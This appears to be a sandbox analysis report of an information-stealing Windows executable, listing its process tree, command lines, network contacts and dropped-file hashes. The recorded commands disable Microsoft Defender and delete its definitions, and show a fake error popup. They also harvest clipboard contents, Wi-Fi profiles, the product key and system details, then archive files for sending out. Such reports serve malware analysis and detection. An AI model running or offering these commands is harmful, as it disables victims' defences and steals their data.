PID 4300 wrote to memory of 60 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe
PID 4300 wrote to memory of 60 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe
PID 60 wrote to memory of 5092 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 5092 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 5092 wrote to memory of 4660 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5092 wrote to memory of 4660 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2892 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2892 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3984 wrote to memory of 1692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3984 wrote to memory of 1692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2504 wrote to memory of 2056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2504 wrote to memory of 2056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 60 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4152 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4152 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 2172 wrote to memory of 4344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2172 wrote to memory of 4344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4708 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4708 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 60 wrote to memory of 3368 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3368 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 752 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 752 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4188 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4188 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 4152 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4152 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3572 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3572 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3368 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3368 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4188 wrote to memory of 5112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4188 wrote to memory of 5112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 752 wrote to memory of 1608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 752 wrote to memory of 1608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2852 wrote to memory of 4200 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2852 wrote to memory of 4200 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 60 wrote to memory of 5036 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 5036 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 5036 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 5036 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 60 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 4092 wrote to memory of 1200 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4092 wrote to memory of 1200 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 60 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 3868 wrote to memory of 3188 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3868 wrote to memory of 3188 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 60 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe
PID 60 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe"

C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe

"C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please Use CeleryAPI.', 0, 'Error 404', 0+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎  .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\Cristalized.DevBuild.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please Use CeleryAPI.', 0, 'Error 404', 0+16);close()"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎  .scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI43002\rar.exe a -r -hp"inxkyy" "C:\Users\Admin\AppData\Local\Temp\Dd7cR.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI43002\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI43002\rar.exe a -r -hp"inxkyy" "C:\Users\Admin\AppData\Local\Temp\Dd7cR.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 138.107.17.2.in-addr.arpa udp
BE 88.221.83.232:443 www.bing.com tcp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 232.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 152.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 92.16.208.104.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI43002\python310.dll

MD5 178a0f45fde7db40c238f1340a0c0ec0
SHA1 dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe
SHA256 9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed
SHA512 4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee

C:\Users\Admin\AppData\Local\Temp\_MEI43002\VCRUNTIME140.dll

MD5 870fea4e961e2fbd00110d3783e529be
SHA1 a948e65c6f73d7da4ffde4e8533c098a00cc7311
SHA256 76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644
SHA512 0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

memory/60-25-0x00007FF96FE60000-0x00007FF9702CE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI43002\base_library.zip

MD5 f5b15ac0a24a122d69c41843da5d463b
SHA1 e25772476631d5b6dd278cb646b93abd282c34ed
SHA256 ec3b8c865c6e3c5e35449b32dcb397da665d6a10fbee61284489a6c420c72a3b
SHA512 1704611166d63962e14deb6d519c2a7af4f05bca308c1949652fddf89bc526c594ede43a34b9306e5979998576f448951d08ad9e25b6d749d5d46b7d18d133b8

C:\Users\Admin\AppData\Local\Temp\_MEI43002\libffi-7.dll

MD5 6f818913fafe8e4df7fedc46131f201f
SHA1 bbb7ba3edbd4783f7f973d97b0b568cc69cadac5
SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
SHA512 5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_ctypes.pyd

MD5 813fc3981cae89a4f93bf7336d3dc5ef
SHA1 daff28bcd155a84e55d2603be07ca57e3934a0de
SHA256 4ac7fb7b354069e71ebf7fcc193c0f99af559010a0ad82a03b49a92deb0f4d06
SHA512 ce93f21b315d96fde96517a7e13f66aa840d4ad1c6e69e68389e235e43581ad543095582ebcb9d2c6dda11c17851b88f5b1ed1d59d354578fe27e7299bbea1cc

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_ssl.pyd

MD5 081c878324505d643a70efcc5a80a371
SHA1 8bef8336476d8b7c5c9ef71d7b7db4100de32348
SHA256 fcb70b58f94f5b0f9d027999cce25e99ddcc8124e4ddcc521cb5b96a52faaa66
SHA512 c36293b968a2f83705815ef3a207e444eeb7667ad9af61df75e85151f74f2fe0a299b3b1349de0d410bbbaea9f99cac5228189099a221de5fa1e20c97c648e32

memory/60-48-0x00007FF9882C0000-0x00007FF9882CF000-memory.dmp

memory/60-47-0x00007FF9843A0000-0x00007FF9843C4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_sqlite3.pyd

MD5 bb4aa2d11444900c549e201eb1a4cdd6
SHA1 ca3bb6fc64d66deaddd804038ea98002d254c50e
SHA256 f44d80ab16c27ca65da23ae5fda17eb842065f3e956f10126322b2ea3ecdf43f
SHA512 cd3c5704e5d99980109fdc505d39ad5b26a951685e9d8e3fed9e0848cd44e24cc4611669dbdb58acc20f1f4a5c37d5e01d9d965cf6fe74f94da1b29aa2ff6931

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_socket.pyd

MD5 7a31bc84c0385590e5a01c4cbe3865c3
SHA1 77c4121abe6e134660575d9015308e4b76c69d7c
SHA256 5614017765322b81cc57d841b3a63cbdc88678ff605e5d4c8fdbbf8f0ac00f36
SHA512 b80cd51e395a3ce6f345b69243d8fc6c46e2e3828bd0a7e63673a508d889a9905d562cac29f1ed394ccfcda72f2f2e22f675963dd96261c19683b06dea0a0882

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_queue.pyd

MD5 0e7612fc1a1fad5a829d4e25cfa87c4f
SHA1 3db2d6274ce3dbe3dbb00d799963df8c3046a1d6
SHA256 9f6965eb89bbf60df0c51ef0750bbd0655675110d6c42eca0274d109bd9f18a8
SHA512 52c57996385b9a573e3105efa09fd6fd24561589b032ef2b2ee60a717f4b33713c35989f2265669f980646d673e3c387b30b9fc98033bb8ca7c59ece1c17e517

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_lzma.pyd

MD5 6f810f46f308f7c6ccddca45d8f50039
SHA1 6ee24ff6d1c95ba67e1275bb82b9d539a7f56cea
SHA256 39497259b87038e86c53e7a39a0b5bbbfcebe00b2f045a148041300b31f33b76
SHA512 c692367a26415016e05ebe828309d3ffec290c6d2fd8cc7419d529a51b0beda00ccdc327c9f187ae3ca0cc96336d23d84a8ff95b729c8958b14fb91b6da9e878

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_hashlib.pyd

MD5 4ae75c47dbdebaa16a596f31b27abd9e
SHA1 a11f963139c715921dedd24bc957ab6d14788c34
SHA256 2308ee238cc849b1110018b211b149d607bf447f4e4c1e61449049eab0cf513d
SHA512 e908fecb52268fac71933e2fdb96e539bdebe4675dfb50065aee26727bac53e07cca862193bcb3ab72d2ae62d660113a47e73e1e16db401480e4d3fd34d54fa8

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_decimal.pyd

MD5 f65d2fed5417feb5fa8c48f106e6caf7
SHA1 9260b1535bb811183c9789c23ddd684a9425ffaa
SHA256 574fe8e01054a5ba07950e41f37e9cf0aea753f20fe1a31f58e19202d1f641d8
SHA512 030502fa4895e0d82c8cce00e78831fc3b2e6d956c8cc3b9fb5e50cb23ef07cd6942949a9f16d02da6908523d9d4ef5f722fb1336d4a80cd944c9f0cb11239ab

C:\Users\Admin\AppData\Local\Temp\_MEI43002\_bz2.pyd

MD5 93fe6d3a67b46370565db12a9969d776
SHA1 ff520df8c24ed8aa6567dd0141ef65c4ea00903b
SHA256 92ec61ca9ac5742e0848a6bbb9b6b4cda8e039e12ab0f17fb9342d082dde471b
SHA512 5c91b56198a8295086c61b4f4e9f16900a7ec43ca4b84e793bc8a3fc8676048cab576e936515bf2971318c7847f1314674b3336fe83b1734f9f70d09615519ac

C:\Users\Admin\AppData\Local\Temp\_MEI43002\unicodedata.pyd

MD5 7a462a10aa1495cef8bfca406fb3637e
SHA1 6dcbd46198b89ef3007c76deb42ab10ba4c4cf40
SHA256 459bca991fcb88082d49d22cc6ebffe37381a5bd3efcc77c5a52f7a4bb3184c0
SHA512 d2b7c6997b4bd390257880a6f3336e88d1dd7159049811f8d7c54e3623e9b033e18e8922422869c81de72fc8c10890c173d8a958d192dd03bfc57cffaea1ac7b

C:\Users\Admin\AppData\Local\Temp\_MEI43002\sqlite3.dll

MD5 bd2819965b59f015ec4233be2c06f0c1
SHA1 cff965068f1659d77be6f4942ca1ada3575ca6e2
SHA256 ab072d20cee82ae925dae78fd41cae7cd6257d14fd867996382a69592091d8ec
SHA512 f7758bd71d2ad236bf3220db0ad26f3866d9977eab311a5912f6e079b59fa918735c852de6dbf7b5fee9e04124bc0cd438c4c71edc0c04309330108ba0085d59

C:\Users\Admin\AppData\Local\Temp\_MEI43002\select.pyd

MD5 666358e0d7752530fc4e074ed7e10e62
SHA1 b9c6215821f5122c5176ce3cf6658c28c22d46ba
SHA256 6615c62fa010bfba5527f5da8af97313a1af986f8564277222a72a1731248841
SHA512 1d3d35c095892562ddd2868fbd08473e48b3bb0cb64ef9ccc5550a06c88dda0d82383a1316b6c5584a49ca28ed1ef1e5ca94ec699a423a001ccd952bd6bd553d

C:\Users\Admin\AppData\Local\Temp\_MEI43002\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI43002\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI43002\libssl-1_1.dll

MD5 eac369b3fde5c6e8955bd0b8e31d0830
SHA1 4bf77158c18fe3a290e44abd2ac1834675de66b4
SHA256 60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c
SHA512 c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

C:\Users\Admin\AppData\Local\Temp\_MEI43002\libcrypto-1_1.dll

MD5 daa2eed9dceafaef826557ff8a754204
SHA1 27d668af7015843104aa5c20ec6bbd30f673e901
SHA256 4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914
SHA512 7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

C:\Users\Admin\AppData\Local\Temp\_MEI43002\blank.aes

MD5 9ce726df7a4cb741e7269038b9066ea2
SHA1 26a1adcbedf9a590196402791f95097964309feb
SHA256 1ecdf3b15e218b60bbc54486a358fbfa22ce912dd48a7b6f0c52958ad6db20f2
SHA512 f5fdf6e415bfbf5e7f1d98106b334219e30f7d60bcea3039961451b7c6c8ed5ce32daa19aa726181f2b502a61b40c568b32f0e402a51ccbb6bc9096368764896

memory/60-54-0x00007FF97FB20000-0x00007FF97FB4D000-memory.dmp

memory/60-56-0x00007FF985560000-0x00007FF985579000-memory.dmp

memory/60-58-0x00007FF97F570000-0x00007FF97F58F000-memory.dmp

memory/60-60-0x00007FF970570000-0x00007FF9706E1000-memory.dmp

memory/60-64-0x00007FF985630000-0x00007FF98563D000-memory.dmp

memory/60-63-0x00007FF97F550000-0x00007FF97F569000-memory.dmp

memory/60-67-0x00007FF97F370000-0x00007FF97F39E000-memory.dmp

memory/60-71-0x00007FF97F2B0000-0x00007FF97F368000-memory.dmp

memory/60-73-0x00007FF96FAE0000-0x00007FF96FE55000-memory.dmp

memory/60-72-0x0000018614EF0000-0x0000018615265000-memory.dmp

memory/60-70-0x00007FF96FE60000-0x00007FF9702CE000-memory.dmp

memory/60-75-0x00007FF9843A0000-0x00007FF9843C4000-memory.dmp

memory/60-78-0x00007FF981710000-0x00007FF98171D000-memory.dmp

memory/60-77-0x00007FF97F530000-0x00007FF97F544000-memory.dmp

memory/60-82-0x00007FF96F5C0000-0x00007FF96F6D8000-memory.dmp

memory/4660-84-0x00007FF96EA43000-0x00007FF96EA45000-memory.dmp

memory/60-85-0x00007FF970570000-0x00007FF9706E1000-memory.dmp

memory/60-83-0x00007FF97F570000-0x00007FF97F58F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fxwjkc4e.yiw.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4660-86-0x0000016D49C60000-0x0000016D49C82000-memory.dmp

memory/4660-96-0x00007FF96EA40000-0x00007FF96F501000-memory.dmp

memory/60-99-0x00007FF97F550000-0x00007FF97F569000-memory.dmp

memory/4660-98-0x00007FF96EA40000-0x00007FF96F501000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
